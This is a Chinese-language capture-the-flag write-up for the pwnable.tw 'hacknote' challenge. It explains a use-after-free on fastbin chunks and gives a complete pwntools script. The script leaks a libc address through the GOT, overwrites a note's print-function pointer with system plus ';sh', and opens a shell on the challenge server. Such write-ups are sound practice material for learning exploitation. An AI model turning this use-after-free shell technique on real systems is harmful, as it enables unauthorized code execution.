0%

pwnable-hacknote

一道UAF漏洞基础题

两个结构体,note和chunk

note大小为8bits

chunk是我们自己申请的大小

思路:先申请两个较大的chunk,此时我们有note0、note1、chunk0、chunk1

释放后fastbin中有四个chunk

此时我们若申请一个大小为8的chunk,那么note2会指向note0,chunk2会指向note1,为什么?因为malloc在申请内存时会优先申请最近释放的内存,且因为note0和note1大小为8,刚好符合我们申请的note2和chunk2,而chunk0和chunk1比较大,所以会优先申请note0和note1原来的内存

那我们就可以利用这个点,先泄露puts地址算出libc基址,然后getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from struct import pack
from LibcSearcher import *
from ae64 import AE64
import base64
from ctypes import *

debug = 0
if debug:
p = process('/home/feichai/ctf_file/pwn')
else:
p = remote('chall.pwnable.tw', 10102)

context(arch="i386",os="linux",log_level="debug")
elf=ELF("/home/feichai/ctf_file/chal")
libc=ELF("/home/feichai/ctf_file/libc_32.so.6")
libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def add(size,content):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Note size :',str(size))
p.sendafter(b'Content :',content)

def delete(index):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index))

def show(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index))

def pwn():

add(32,b'aaaa')
add(32,b'bbbb')
delete(1)
delete(0)

payload = p32(0x804862b)+p32(0x804A018)
add(8,payload)

show(1)
free_addr = u32(p.recv(4))

libc_base = free_addr - libc.symbols['free']
print("libc_base:",hex(libc_base))
system_addr = libc_base + libc.symbols['system']

delete(2)
payload = p32(system_addr) + b';sh\x00'
add(8,payload)

show(1)

p.interactive()

if __name__=='__main__':
pwn()

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道